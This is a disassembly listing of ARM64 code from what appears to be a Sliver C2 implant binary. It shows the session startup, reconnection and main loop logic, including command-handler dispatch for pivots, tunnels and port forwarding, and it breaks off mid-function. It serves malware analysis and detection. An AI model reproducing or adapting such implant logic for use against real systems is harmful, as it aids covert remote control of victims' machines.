File sliver_83cb34f62800fed14e14547c39337aab8e0427fe2c6310a3fb40ce0ac36168c9.elf
Function:
    0050f570
    0050f570main.sessionStartup: ; void main.sessionStartup(void)
    0050f570ldr x16, [x28+16]
    0050f574sub x17, sp, 144
    0050f578subs xzr, x17, x16
    0050f57cb.ls 0x50f7ec
    0050f580sub x20, sp, 272
    0050f584stp x29, x30, [x20-8]
    0050f588add sp, x20, 0
    0050f58csub x29, sp, 8
    0050f590adrp x0, 0x1a9000
    0050f594add x0, x0, 616
    0050f598movz x1, 23
    0050f59cmov x2, xzr
    0050f5a0mov x3, xzr
    0050f5a4mov x4, x3
    0050f5a8bl log.Printf
    0050f5acadrp x0, 0xe7000
    0050f5b0add x0, x0, 4032
    0050f5b4mov x1, xzr
    0050f5b8bl runtime.makechan
    0050f5bcstr x0, [sp+160]
    0050f5c0stp xzr, xzr, [sp+168]
    0050f5c4add x5, sp, 168
    0050f5c8str x5, [sp+184]
    0050f5ccldrsb x27, [x5]
    0050f5d0adrp x6, 0
    0050f5d4add x6, x6, 2048
    0050f5d8str x6, [x5]
    0050f5dcldrsb x27, [x5]
    0050f5e0ldr x6, [sp+160]
    0050f5e4adrp x27, 0x53c000
    0050f5e8ldr w7, [x27+3056]
    0050f5eccbz w7, 0x50f5f4
    0050f5f0b 0x50f5f8
    0050f5f4
    0050f5f4loc_50f5f4:
    0050f5f4b 0x50f60c
    0050f5f8
    0050f5f8loc_50f5f8:
    0050f5f8bl runtime.gcWriteBarrier2
    0050f5fcstr x6, [x25]
    0050f600ldr x1, [x5+8]
    0050f604str x1, [x25+8]
    0050f608b 0x50f60c
    0050f60c
    0050f60cloc_50f60c:
    0050f60cstr x6, [x5+8]
    0050f610str x5, [sp+104]
    0050f614add x0, sp, 80
    0050f618bl runtime.deferprocStack
    0050f61csubs xzr, x0, 0
    0050f620b.ne 0x50f64c
    0050f624b 0x50f628
    0050f628
    0050f628loc_50f628:
    0050f628ldr x0, [sp+160]
    0050f62cmov x1, xzr
    0050f630mov x2, xzr
    0050f634mov x3, x2
    0050f638bl github.com/bishopfox/sliver/implant/sliver/transports.StartConnectionLoop
    0050f63cstr x0, [sp+144]
    0050f640str x0, [sp+208]
    0050f644str xzr, [sp+256]
    0050f648b 0x50f65c
    0050f64c
    0050f64cloc_50f64c:
    0050f64cbl runtime.deferreturn
    0050f650ldp x29, x30, [sp-8]
    0050f654add sp, sp, 272
    0050f658ret x30
    0050f65c
    0050f65cloc_50f65c:
    0050f65cldr x0, [sp+208]
    0050f660add x1, sp, 256
    0050f664bl runtime.chanrecv2
    0050f668strb w0, [sp+63]
    0050f66ctbnz w0, 0, 0x50f674
    0050f670b 0x50f7dc
    0050f674
    0050f674loc_50f674:
    0050f674ldr x1, [sp+256]
    0050f678str x1, [sp+152]
    0050f67cstr xzr, [sp+256]
    0050f680ldr x1, [sp+152]
    0050f684cbnz x1, 0x50f68c
    0050f688b 0x50f738
    0050f68c
    0050f68cloc_50f68c:
    0050f68cldr x0, [sp+152]
    0050f690bl main.sessionMainLoop
    0050f694str x0, [sp+128]
    0050f698str x1, [sp+136]
    0050f69ccbnz x0, 0x50f6a4
    0050f6a0b 0x50f730
    0050f6a4
    0050f6a4loc_50f6a4:
    0050f6a4adrp x27, 0x512000
    0050f6a8ldr x3, [x27+1008]
    0050f6acsubs xzr, x0, x3
    0050f6b0b.eq 0x50f6b8
    0050f6b4b 0x50f6e8
    0050f6b8
    0050f6b8loc_50f6b8:
    0050f6b8adrp x27, 0x512000
    0050f6bcldr x2, [x27+1016]
    0050f6c0bl runtime.ifaceeq
    0050f6c4tbnz w0, 0, 0x50f6cc
    0050f6c8b 0x50f6e4
    0050f6cc
    0050f6ccloc_50f6cc:
    0050f6ccldr x0, [sp+152]
    0050f6d0bl github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).Cleanup
    0050f6d4bl runtime.deferreturn
    0050f6d8ldp x29, x30, [sp-8]
    0050f6dcadd sp, sp, 272
    0050f6e0ret x30
    0050f6e4
    0050f6e4loc_50f6e4:
    0050f6e4b 0x50f6ec
    0050f6e8
    0050f6e8loc_50f6e8:
    0050f6e8b 0x50f6ec
    0050f6ec
    0050f6ecloc_50f6ec:
    0050f6ecadrp x27, 0x53c000
    0050f6f0ldr x0, [x27+1728]
    0050f6f4add x0, x0, 1
    0050f6f8adrp x27, 0x53c000
    0050f6fcstr x0, [x27+1728]
    0050f700bl github.com/bishopfox/sliver/implant/sliver/transports.GetMaxConnectionErrors
    0050f704str x0, [sp+72]
    0050f708adrp x27, 0x53c000
    0050f70cldr x1, [x27+1728]
    0050f710subs xzr, x0, x1
    0050f714b.lt 0x50f71c
    0050f718b 0x50f72c
    0050f71c
    0050f71cloc_50f71c:
    0050f71cbl runtime.deferreturn
    0050f720ldp x29, x30, [sp-8]
    0050f724add sp, sp, 272
    0050f728ret x30
    0050f72c
    0050f72cloc_50f72c:
    0050f72cb 0x50f734
    0050f730
    0050f730loc_50f730:
    0050f730b 0x50f734
    0050f734
    0050f734loc_50f734:
    0050f734b 0x50f73c
    0050f738
    0050f738loc_50f738:
    0050f738b 0x50f73c
    0050f73c
    0050f73cloc_50f73c:
    0050f73cbl github.com/bishopfox/sliver/implant/sliver/transports.GetReconnectInterval
    0050f740str x0, [sp+64]
    0050f744stp xzr, xzr, [sp+192]
    0050f748add x0, sp, 192
    0050f74cstr x0, [sp+224]
    0050f750ldr x0, [sp+64]
    0050f754bl runtime.convT64
    0050f758str x0, [sp+216]
    0050f75cldr x1, [sp+224]
    0050f760ldrsb x27, [x1]
    0050f764adrp x2, 0x16d000
    0050f768add x2, x2, 3104
    0050f76cstr x2, [x1]
    0050f770adrp x27, 0x53c000
    0050f774ldr w2, [x27+3056]
    0050f778cbz w2, 0x50f780
    0050f77cb 0x50f784
    0050f780
    0050f780loc_50f780:
    0050f780b 0x50f798
    0050f784
    0050f784loc_50f784:
    0050f784bl runtime.gcWriteBarrier2
    0050f788str x0, [x25]
    0050f78cldr x5, [x1+8]
    0050f790str x5, [x25+8]
    0050f794b 0x50f798
    0050f798
    0050f798loc_50f798:
    0050f798str x0, [x1+8]
    0050f79cldr x2, [sp+224]
    0050f7a0ldrsb x27, [x2]
    0050f7a4b 0x50f7a8
    0050f7a8
    0050f7a8loc_50f7a8:
    0050f7a8str x2, [sp+232]
    0050f7acorr x4, xzr, 1
    0050f7b0str x4, [sp+240]
    0050f7b4str x4, [sp+248]
    0050f7b8adrp x0, 0x1a6000
    0050f7bcadd x0, x0, 3732
    0050f7c0movz x1, 19
    0050f7c4mov x3, x4
    0050f7c8bl log.Printf
    0050f7ccldr x0, [sp+64]
    0050f7d0bl time.Sleep
    0050f7d4b 0x50f7d8
    0050f7d8
    0050f7d8loc_50f7d8:
    0050f7d8b 0x50f65c
    0050f7dc
    0050f7dcloc_50f7dc:
    0050f7dcbl runtime.deferreturn
    0050f7e0ldp x29, x30, [sp-8]
    0050f7e4add sp, sp, 272
    0050f7e8ret x30
    0050f7ec
    0050f7ecloc_50f7ec:
    0050f7ecmov x3, x30
    0050f7f0bl runtime.morestack_noctxt.abi0
    0050f7f4b 0x50f570
    0050f7f8udf 0
    0050f7fcudf 0
    0050f570
    0050f800
    0050f800main.sessionStartup.func1: ; void main.sessionStartup.func1(void)
    0050f800ldr x16, [x28+16]
    0050f804subs xzr, sp, x16
    0050f808b.ls 0x50f834
    0050f80cstr x30, [sp-48]!
    0050f810stur x29, [sp-8]
    0050f814sub x29, sp, 8
    0050f818ldr x0, [x26+8]
    0050f81cstr x0, [sp+32]
    0050f820add x1, sp, 31
    0050f824bl runtime.chansend1
    0050f828ldur x29, [sp-8]
    0050f82cldr x30, [sp], 48
    0050f830ret x30
    0050f834
    0050f834loc_50f834:
    0050f834mov x3, x30
    0050f838bl runtime.morestack.abi0
    0050f83cb 0x50f800
    0050f800
    0050f840
    0050f840main.sessionMainLoop: ; void main.sessionMainLoop(github.com/bishopfox/sliver/implant/sliver/transports.Connection * connection)
    0050f840ldr x16, [x28+16]
    0050f844sub x17, sp, 912
    0050f848subs xzr, x17, x16
    0050f84cb.ls 0x5106f8
    0050f850sub x20, sp, 1040
    0050f854stp x29, x30, [x20-8]
    0050f858add sp, x20, 0
    0050f85csub x29, sp, 8
    0050f860str x0, [sp+1048]
    0050f864stp xzr, xzr, [sp+208]
    0050f868ldr x5, [sp+1048]
    0050f86ccbnz x5, 0x50f874
    0050f870b 0x50fb74
    0050f874
    0050f874loc_50f874:
    0050f874ldr x0, [sp+1048]
    0050f878ldrsb x27, [x0]
    0050f87cldr x26, [x0+80]
    0050f880ldr x0, [x26]
    0050f884blr x0
    0050f888str x0, [sp+304]
    0050f88cstr x1, [sp+312]
    0050f890cbnz x0, 0x50f898
    0050f894b 0x50f974
    0050f898
    0050f898loc_50f898:
    0050f898add x27, sp, 824
    0050f89cstp xzr, xzr, [x27]
    0050f8a0add x5, sp, 824
    0050f8a4str x5, [sp+720]
    0050f8a8ldr x5, [sp+304]
    0050f8acldr x6, [sp+312]
    0050f8b0str x5, [sp+704]
    0050f8b4str x6, [sp+712]
    0050f8b8str x5, [sp+696]
    0050f8bcldr x5, [sp+696]
    0050f8c0cbnz x5, 0x50f8c8
    0050f8c4b 0x50f8d8
    0050f8c8
    0050f8c8loc_50f8c8:
    0050f8c8ldr x5, [sp+696]
    0050f8ccldr x5, [x5+8]
    0050f8d0str x5, [sp+696]
    0050f8d4b 0x50f8dc
    0050f8d8
    0050f8d8loc_50f8d8:
    0050f8d8b 0x50f8dc
    0050f8dc
    0050f8dcloc_50f8dc:
    0050f8dcldr x5, [sp+720]
    0050f8e0ldrsb x27, [x5]
    0050f8e4ldr x6, [sp+696]
    0050f8e8ldr x7, [sp+712]
    0050f8ecstr x6, [x5]
    0050f8f0adrp x27, 0x53c000
    0050f8f4ldr w6, [x27+3056]
    0050f8f8cbz w6, 0x50f900
    0050f8fcb 0x50f904
    0050f900
    0050f900loc_50f900:
    0050f900b 0x50f918
    0050f904
    0050f904loc_50f904:
    0050f904bl runtime.gcWriteBarrier2
    0050f908str x7, [x25]
    0050f90cldr x6, [x5+8]
    0050f910str x6, [x25+8]
    0050f914b 0x50f918
    0050f918
    0050f918loc_50f918:
    0050f918str x7, [x5+8]
    0050f91cldr x2, [sp+720]
    0050f920ldrsb x27, [x2]
    0050f924b 0x50f928
    0050f928
    0050f928loc_50f928:
    0050f928str x2, [sp+728]
    0050f92corr x4, xzr, 1
    0050f930str x4, [sp+736]
    0050f934str x4, [sp+744]
    0050f938adrp x0, 0x1b7000
    0050f93cadd x0, x0, 892
    0050f940movz x1, 44
    0050f944mov x3, x4
    0050f948bl log.Printf
    0050f94cldr x5, [sp+304]
    0050f950ldr x6, [sp+312]
    0050f954str x5, [sp+208]
    0050f958str x6, [sp+216]
    0050f95cbl runtime.deferreturn
    0050f960ldr x0, [sp+208]
    0050f964ldr x1, [sp+216]
    0050f968ldp x29, x30, [sp-8]
    0050f96cadd sp, sp, 1040
    0050f970ret x30
    0050f974
    0050f974loc_50f974:
    0050f974ldr x1, [sp+1048]
    0050f978ldrsb x27, [x1]
    0050f97cldr x1, [x1]
    0050f980str x1, [sp+688]
    0050f984ldr x0, [sp+688]
    0050f988bl github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners
    0050f98cadrp x1, 0x1c9000
    0050f990add x1, x1, 1288
    0050f994str x1, [sp+184]
    0050f998add x0, sp, 160
    0050f99cbl runtime.deferprocStack
    0050f9a0subs xzr, x0, 0
    0050f9a4b.ne 0x50fb5c
    0050f9a8b 0x50f9ac
    0050f9ac
    0050f9acloc_50f9ac:
    0050f9acldr x1, [sp+1048]
    0050f9b0ldrsb x27, [x1]
    0050f9b4ldr x1, [x1+88]
    0050f9b8str x1, [sp+920]
    0050f9bcadd x27, sp, 664
    0050f9c0stp xzr, xzr, [x27]
    0050f9c4add x1, sp, 664
    0050f9c8str x1, [sp+680]
    0050f9ccldrsb x27, [x1]
    0050f9d0adrp x2, 4096
    0050f9d4add x2, x2, 2896
    0050f9d8str x2, [x1]
    0050f9dcldrsb x27, [x1]
    0050f9e0ldr x2, [sp+920]
    0050f9e4adrp x27, 0x53c000
    0050f9e8ldr w3, [x27+3056]
    0050f9eccbz w3, 0x50f9f4
    0050f9f0b 0x50f9f8
    0050f9f4
    0050f9f4loc_50f9f4:
    0050f9f4b 0x50fa0c
    0050f9f8
    0050f9f8loc_50f9f8:
    0050f9f8bl runtime.gcWriteBarrier2
    0050f9fcstr x2, [x25]
    0050fa00ldr x3, [x1+8]
    0050fa04str x3, [x25+8]
    0050fa08b 0x50fa0c
    0050fa0c
    0050fa0cloc_50fa0c:
    0050fa0cstr x2, [x1+8]
    0050fa10str x1, [sp+136]
    0050fa14add x0, sp, 112
    0050fa18bl runtime.deferprocStack
    0050fa1csubs xzr, x0, 0
    0050fa20b.ne 0x50fb44
    0050fa24b 0x50fa28
    0050fa28
    0050fa28loc_50fa28:
    0050fa28adrp x27, 0x53c000
    0050fa2cstr xzr, [x27+1728]
    0050fa30bl main.registerSliver
    0050fa34str x0, [sp+256]
    0050fa38ldr x0, [sp+1048]
    0050fa3cbl github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).URL
    0050fa40str x0, [sp+808]
    0050fa44str x1, [sp+816]
    0050fa48ldr x2, [sp+256]
    0050fa4cldrsb x27, [x2]
    0050fa50str x1, [x2+168]
    0050fa54adrp x27, 0x53c000
    0050fa58ldr w1, [x27+3056]
    0050fa5ccbz w1, 0x50fa64
    0050fa60b 0x50fa68
    0050fa64
    0050fa64loc_50fa64:
    0050fa64b 0x50fa7c
    0050fa68
    0050fa68loc_50fa68:
    0050fa68bl runtime.gcWriteBarrier2
    0050fa6cstr x0, [x25]
    0050fa70ldr x1, [x2+160]
    0050fa74str x1, [x25+8]
    0050fa78b 0x50fa7c
    0050fa7c
    0050fa7cloc_50fa7c:
    0050fa7cstr x0, [x2+160]
    0050fa80ldr x0, [sp+1048]
    0050fa84bl github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).ProxyURL
    0050fa88str x0, [sp+808]
    0050fa8cstr x1, [sp+816]
    0050fa90ldr x2, [sp+256]
    0050fa94ldrsb x27, [x2]
    0050fa98str x1, [x2+208]
    0050fa9cadrp x27, 0x53c000
    0050faa0ldr w1, [x27+3056]
    0050faa4cbz w1, 0x50faac
    0050faa8b 0x50fab0
    0050faac
    0050faacloc_50faac:
    0050faacb 0x50fac4
    0050fab0
    0050fab0loc_50fab0:
    0050fab0bl runtime.gcWriteBarrier2
    0050fab4str x0, [x25]
    0050fab8ldr x3, [x2+200]
    0050fabcstr x3, [x25+8]
    0050fac0b 0x50fac4
    0050fac4
    0050fac4loc_50fac4:
    0050fac4str x0, [x2+200]
    0050fac8ldr x2, [sp+256]
    0050faccstr x2, [sp+800]
    0050fad0orr x0, xzr, 1
    0050fad4adrp x1, 0x204000
    0050fad8add x1, x1, 2136
    0050fadcbl main.wrapEnvelope
    0050fae0str x0, [sp+792]
    0050fae4str x0, [sp+784]
    0050fae8ldr x3, [sp+1048]
    0050faecldrsb x27, [x3]
    0050faf0ldr x3, [x3]
    0050faf4str x3, [sp+656]
    0050faf8ldr x0, [sp+656]
    0050fafcadd x1, sp, 784
    0050fb00bl runtime.chansend1
    0050fb04bl github.com/bishopfox/sliver/implant/sliver/handlers.GetPivotHandlers
    0050fb08str x0, [sp+264]
    0050fb0cbl github.com/bishopfox/sliver/implant/sliver/handlers.GetTunnelHandlers
    0050fb10str x0, [sp+224]
    0050fb14bl github.com/bishopfox/sliver/implant/sliver/handlers.GetSystemHandlers
    0050fb18str x0, [sp+232]
    0050fb1cbl github.com/bishopfox/sliver/implant/sliver/handlers.GetKillHandlers
    0050fb20str x0, [sp+240]
    0050fb24bl github.com/bishopfox/sliver/implant/sliver/handlers.GetRportFwdHandlers
    0050fb28str x0, [sp+248]
    0050fb2cldr x3, [sp+1048]
    0050fb30ldrsb x27, [x3]
    0050fb34ldr x3, [x3+8]
    0050fb38str x3, [sp+776]
    0050fb3cstr xzr, [sp+648]
    0050fb40b 0x50fbac
    0050fb44
    0050fb44loc_50fb44:
    0050fb44bl runtime.deferreturn
    0050fb48ldr x0, [sp+208]
    0050fb4cldr x1, [sp+216]
    0050fb50ldp x29, x30, [sp-8]
    0050fb54add sp, sp, 1040
    0050fb58ret x30
    0050fb5c
    0050fb5cloc_50fb5c:
    0050fb5cbl runtime.deferreturn
    0050fb60ldr x0, [sp+208]
    0050fb64ldr x1, [sp+216]
    0050fb68ldp x29, x30, [sp-8]
    0050fb6cadd sp, sp, 1040
    0050fb70ret x30
    0050fb74
    0050fb74loc_50fb74:
    0050fb74adrp x0, 0x1aa000
    0050fb78add x0, x0, 1854
    0050fb7cmovz x1, 25
    0050fb80mov x2, xzr
    0050fb84mov x3, xzr
    0050fb88mov x4, x3
    0050fb8cbl log.Printf
    0050fb90stp xzr, xzr, [sp+208]
    0050fb94bl runtime.deferreturn
    0050fb98ldr x1, [sp+216]
    0050fb9cldr x0, [sp+208]
    0050fba0ldp x29, x30, [sp-8]
    0050fba4add sp, sp, 1040
    0050fba8ret x30
    0050fbac
    0050fbacloc_50fbac:
    0050fbacldr x0, [sp+776]
    0050fbb0add x1, sp, 648
    0050fbb4bl runtime.chanrecv2
    0050fbb8strb w0, [sp+61]
    0050fbbctbnz w0, 0, 0x50fbc4
    0050fbc0b 0x5106dc
    0050fbc4
    0050fbc4loc_50fbc4:
    0050fbc4ldr x3, [sp+648]
    0050fbc8str x3, [sp+328]
    0050fbccstr xzr, [sp+648]
    0050fbd0ldr x3, [sp+328]
    0050fbd4str x3, [sp+320]
    0050fbd8str xzr, [sp+768]
    0050fbdcldr x3, [sp+320]
    0050fbe0ldrsb x27, [x3]
    0050fbe4ldr w2, [x3+16]
    0050fbe8str w2, [sp+104]
    0050fbecldr x1, [sp+240]
    0050fbf0adrp x0, 0x114000
    0050fbf4add x0, x0, 1632
    0050fbf8bl runtime.mapaccess2_fast32
    0050fbfcstr x0, [sp+640]
    0050fc00strb w1, [sp+62]
    0050fc04ldr x3, [sp+640]
    0050fc08ldr x3, [x3]
    0050fc0cstr x3, [sp+768]
    0050fc10str x3, [sp+992]
    0050fc14ldrb w3, [sp+62]
    0050fc18strb w3, [sp+67]
    0050fc1cstrb w3, [sp+60]
    0050fc20tbnz w3, 0, 0x50fc28
    0050fc24b 0x50fcf0
    0050fc28
    0050fc28loc_50fc28:
    0050fc28add x27, sp, 824
    0050fc2cstp xzr, xzr, [x27]
    0050fc30add x1, sp, 824
    0050fc34str x1, [sp+608]
    0050fc38ldr x1, [sp+320]
    0050fc3cldrsb x27, [x1]
    0050fc40ldr w0, [x1+16]
    0050fc44str w0, [sp+100]
    0050fc48bl runtime.convT32
    0050fc4cstr x0, [sp+600]
    0050fc50ldr x1, [sp+608]
    0050fc54ldrsb x27, [x1]
    0050fc58adrp x2, 0xe6000
    0050fc5cadd x2, x2, 3328
    0050fc60str x2, [x1]
    0050fc64adrp x27, 0x53c000
    0050fc68ldr w2, [x27+3056]
    0050fc6ccbz w2, 0x50fc74
    0050fc70b 0x50fc78
    0050fc74
    0050fc74loc_50fc74:
    0050fc74b 0x50fc8c
    0050fc78
    0050fc78loc_50fc78:
    0050fc78bl runtime.gcWriteBarrier2
    0050fc7cstr x0, [x25]
    0050fc80ldr x5, [x1+8]
    0050fc84str x5, [x25+8]
    0050fc88b 0x50fc8c
    0050fc8c
    0050fc8cloc_50fc8c:
    0050fc8cstr x0, [x1+8]
    0050fc90ldr x2, [sp+608]
    0050fc94ldrsb x27, [x2]
    0050fc98b 0x50fc9c
    0050fc9c
    0050fc9cloc_50fc9c:
    0050fc9cstr x2, [sp+616]
    0050fca0orr x4, xzr, 1
    0050fca4str x4, [sp+624]
    0050fca8str x4, [sp+632]
    0050fcacadrp x0, 0x1a9000
    0050fcb0add x0, x0, 3790
    0050fcb4orr x1, xzr, 24
    0050fcb8mov x3, x4
    0050fcbcbl log.Printf
    0050fcc0adrp x27, 0x512000
    0050fcc4ldr x5, [x27+1008]
    0050fcc8adrp x27, 0x512000
    0050fcccldr x6, [x27+1016]
    0050fcd0str x5, [sp+208]
    0050fcd4str x6, [sp+216]
    0050fcd8bl runtime.deferreturn
    0050fcdcldr x0, [sp+208]
    0050fce0ldr x1, [sp+216]
    0050fce4ldp x29, x30, [sp-8]
    0050fce8add sp, sp, 1040
    0050fcecret x30
    0050fcf0
    0050fcf0loc_50fcf0:
    0050fcf0str xzr, [sp+760]
    0050fcf4ldr x3, [sp+320]
    0050fcf8ldrsb x27, [x3]
    0050fcfcldr w2, [x3+16]
    0050fd00str w2, [sp+96]
    0050fd04ldr x1, [sp+264]
    0050fd08adrp x0, 0x114000
    0050fd0cadd x0, x0, 1888
    0050fd10bl runtime.mapaccess2_fast32
    0050fd14str x0, [sp+592]
    0050fd18strb w1, [sp+62]
    0050fd1cldr x3, [sp+592]
    0050fd20ldr x3, [x3]
    0050fd24str x3, [sp+760]
    0050fd28str x3, [sp+984]
    0050fd2cldrb w3, [sp+62]
    0050fd30strb w3, [sp+66]
    0050fd34ldr x3, [sp+984]
    0050fd38str x3, [sp+296]
    0050fd3cldrb w3, [sp+66]
    0050fd40strb w3, [sp+59]
    0050fd44tbnz w3, 0, 0x50fd4c
    0050fd48b 0x50fecc
    0050fd4c
    0050fd4cloc_50fd4c:
    0050fd4cadd x27, sp, 824
    0050fd50stp xzr, xzr, [x27]
    0050fd54add x1, sp, 824
    0050fd58str x1, [sp+560]
    0050fd5cldr x1, [sp+320]
    0050fd60ldrsb x27, [x1]
    0050fd64ldr w0, [x1+16]
    0050fd68str w0, [sp+92]
    0050fd6cbl runtime.convT32
    0050fd70str x0, [sp+552]
    0050fd74ldr x1, [sp+560]
    0050fd78ldrsb x27, [x1]
    0050fd7cadrp x2, 0xe6000
    0050fd80add x2, x2, 3328
    0050fd84str x2, [x1]
    0050fd88adrp x27, 0x53c000
    0050fd8cldr w2, [x27+3056]
    0050fd90cbz w2, 0x50fd98
    0050fd94b 0x50fd9c
    0050fd98
    0050fd98loc_50fd98:
    0050fd98b 0x50fdb0
    0050fd9c
    0050fd9cloc_50fd9c:
    0050fd9cbl runtime.gcWriteBarrier2
    0050fda0str x0, [x25]
    0050fda4ldr x5, [x1+8]
    0050fda8str x5, [x25+8]
    0050fdacb 0x50fdb0
    0050fdb0
    0050fdb0loc_50fdb0:
    0050fdb0str x0, [x1+8]
    0050fdb4ldr x2, [sp+560]
    0050fdb8ldrsb x27, [x2]
    0050fdbcb 0x50fdc0
    0050fdc0
    0050fdc0loc_50fdc0:
    0050fdc0str x2, [sp+568]
    0050fdc4orr x4, xzr, 1
    0050fdc8str x4, [sp+576]
    0050fdccstr x4, [sp+584]
    0050fdd0adrp x0, 0x1af000
    0050fdd4add x0, x0, 816
    0050fdd8orr x1, xzr, 32
    0050fddcmov x3, x4
    0050fde0bl log.Printf
    0050fde4ldr x5, [sp+296]
    0050fde8str x5, [sp+976]
    0050fdecldr x5, [sp+320]
    0050fdf0str x5, [sp+968]
    0050fdf4ldr x5, [sp+1048]
    0050fdf8str x5, [sp+960]
    0050fdfcadrp x0, 0x14d000
    0050fe00add x0, x0, 32
    0050fe04bl runtime.newobject
    0050fe08str x0, [sp+544]
    0050fe0cadrp x5, 4096
    0050fe10add x5, x5, 2768
    0050fe14str x5, [x0]
    0050fe18ldr x5, [sp+976]
    0050fe1cldr x6, [sp+544]
    0050fe20ldrsb x27, [x6]
    0050fe24adrp x27, 0x53c000
    0050fe28ldr w7, [x27+3056]
    0050fe2ccbz w7, 0x50fe34
    0050fe30b 0x50fe38
    0050fe34
    0050fe34loc_50fe34:
    0050fe34b 0x50fe4c
    0050fe38
    0050fe38loc_50fe38:
    0050fe38bl runtime.gcWriteBarrier2
    0050fe3cstr x5, [x25]
    0050fe40ldr x1, [x6+8]
    0050fe44str x1, [x25+8]
    0050fe48b 0x50fe4c
    0050fe4c
    0050fe4cloc_50fe4c:
    0050fe4cstr x5, [x6+8]
    0050fe50ldr x1, [sp+968]
    0050fe54ldr x2, [sp+544]
    0050fe58ldrsb x27, [x2]
    0050fe5cadrp x27, 0x53c000
    0050fe60ldr w3, [x27+3056]
    0050fe64cbz w3, 0x50fe6c
    0050fe68b 0x50fe70
    0050fe6c
    0050fe6cloc_50fe6c:
    0050fe6cb 0x50fe84
    0050fe70
    0050fe70loc_50fe70:
    0050fe70bl runtime.gcWriteBarrier2
    0050fe74str x1, [x25]
    0050fe78ldr x3, [x2+16]
    0050fe7cstr x3, [x25+8]
    0050fe80b 0x50fe84
    0050fe84
    0050fe84loc_50fe84:
    0050fe84str x1, [x2+16]
    0050fe88ldr x1, [sp+960]
    0050fe8cldr x2, [sp+544]
    0050fe90ldrsb x27, [x2]
    0050fe94adrp x27, 0x53c000
    0050fe98ldr w3, [x27+3056]
    0050fe9ccbz w3, 0x50fea4
    0050fea0b 0x50fea8
    0050fea4
    0050fea4loc_50fea4:
    0050fea4b 0x50febc
    0050fea8
    0050fea8loc_50fea8:
    0050fea8bl runtime.gcWriteBarrier2
    0050feacstr x1, [x25]
    0050feb0ldr x3, [x2+24]
    0050feb4str x3, [x25+8]
    0050feb8b 0x50febc
    0050febc
    0050febcloc_50febc:
    0050febcstr x1, [x2+24]
    0050fec0ldr x0, [sp+544]
    0050fec4bl runtime.newproc
    0050fec8b 0x5106d0
    0050fecc
    0050feccloc_50fecc:
    0050feccstr xzr, [sp+760]
    0050fed0ldr x3, [sp+320]
    0050fed4ldrsb x27, [x3]
    0050fed8ldr w2, [x3+16]
    0050fedcstr w2, [sp+88]
    0050fee0ldr x1, [sp+248]
    0050fee4adrp x0, 0x114000
    0050fee8add x0, x0, 1888
    0050feecbl runtime.mapaccess2_fast32
    0050fef0str x0, [sp+536]
    0050fef4strb w1, [sp+62]
    0050fef8ldr x3, [sp+536]
    0050fefcldr x3, [x3]
    0050ff00str x3, [sp+760]
    0050ff04str x3, [sp+952]
    0050ff08ldrb w3, [sp+62]
    0050ff0cstrb w3, [sp+65]
    0050ff10ldr x3, [sp+952]
    0050ff14str x3, [sp+288]
    0050ff18ldrb w3, [sp+65]
    0050ff1cstrb w3, [sp+58]
    0050ff20tbnz w3, 0, 0x50ff28
    0050ff24b 0x5100a8
    0050ff28
    0050ff28loc_50ff28:
    0050ff28add x27, sp, 824
    0050ff2cstp xzr, xzr, [x27]
    0050ff30add x1, sp, 824
    0050ff34str x1, [sp+504]
    0050ff38ldr x1, [sp+320]
    0050ff3cldrsb x27, [x1]
    0050ff40ldr w0, [x1+16]
    0050ff44str w0, [sp+84]
    0050ff48bl runtime.convT32
    0050ff4cstr x0, [sp+496]
    0050ff50ldr x1, [sp+504]
    0050ff54ldrsb x27, [x1]
    0050ff58adrp x2, 0xe6000
    0050ff5cadd x2, x2, 3328
    0050ff60str x2, [x1]
    0050ff64adrp x27, 0x53c000
    0050ff68ldr w2, [x27+3056]
    0050ff6ccbz w2, 0x50ff74
    0050ff70b 0x50ff78
    0050ff74
    0050ff74loc_50ff74:
    0050ff74b 0x50ff8c
    0050ff78
    0050ff78loc_50ff78:
    0050ff78bl runtime.gcWriteBarrier2
    0050ff7cstr x0, [x25]
    0050ff80ldr x5, [x1+8]
    0050ff84str x5, [x25+8]
    0050ff88b 0x50ff8c
    0050ff8c
    0050ff8cloc_50ff8c:
    0050ff8cstr x0, [x1+8]
    0050ff90ldr x2, [sp+504]
    0050ff94ldrsb x27, [x2]
    0050ff98b 0x50ff9c
    0050ff9c
    0050ff9cloc_50ff9c:
    0050ff9cstr x2, [sp+512]
    0050ffa0orr x4, xzr, 1
    0050ffa4str x4, [sp+520]
    0050ffa8str x4, [sp+528]
    0050ffacadrp x0, 0x1b1000
    0050ffb0add x0, x0, 2001
    0050ffb4movz x1, 35
    0050ffb8mov x3, x4
    0050ffbcbl log.Printf
    0050ffc0ldr x5, [sp+288]
    0050ffc4str x5, [sp+944]
    0050ffc8ldr x5, [sp+320]
    0050ffccstr x5, [sp+936]
    0050ffd0ldr x5, [sp+1048]
    0050ffd4str x5, [sp+928]
    0050ffd8adrp x0, 0x14d000
    0050ffdcadd x0, x0, 32
    0050ffe0bl runtime.newobject
    0050ffe4str x0, [sp+488]
    0050ffe8adrp x5, 4096
    0050ffecadd x5, x5, 2640
    0050fff0str x5, [x0]
    0050fff4ldr x5, [sp+944]
    0050fff8ldr x6, [sp+488]
    0050fffcldrsb x27, [x6]
    00510000adrp x27, 0x53b000
    00510004ldr w7, [x27+3056]
    00510008cbz w7, 0x510010
    0051000cb 0x510014
    00510010
    00510010loc_510010:
    00510010b 0x510028
    00510014
    00510014loc_510014:
    00510014bl runtime.gcWriteBarrier2
    00510018str x5, [x25]
    0051001cldr x1, [x6+8]
    00510020str x1, [x25+8]
    00510024b 0x510028
    00510028
    00510028loc_510028:
    00510028str x5, [x6+8]
    0051002cldr x1, [sp+936]
    00510030ldr x2, [sp+488]
    00510034ldrsb x27, [x2]
    00510038adrp x27, 0x53b000
    0051003cldr w3, [x27+3056]
    00510040cbz w3, 0x510048
    00510044b 0x51004c
    00510048
    00510048loc_510048:
    00510048b 0x510060
    0051004c
    0051004cloc_51004c:
    0051004cbl runtime.gcWriteBarrier2
    00510050str x1, [x25]
    00510054ldr x3, [x2+16]
    00510058str x3, [x25+8]
    0051005cb 0x510060
    00510060
    00510060loc_510060:
    00510060str x1, [x2+16]
    00510064ldr x1, [sp+928]
    00510068ldr x2, [sp+488]
    0051006cldrsb x27, [x2]
    00510070adrp x27, 0x53b000
    00510074ldr w3, [x27+3056]
    00510078cbz w3, 0x510080
    0051007cb 0x510084
    00510080
    00510080loc_510080:
    00510080b 0x510098
    00510084
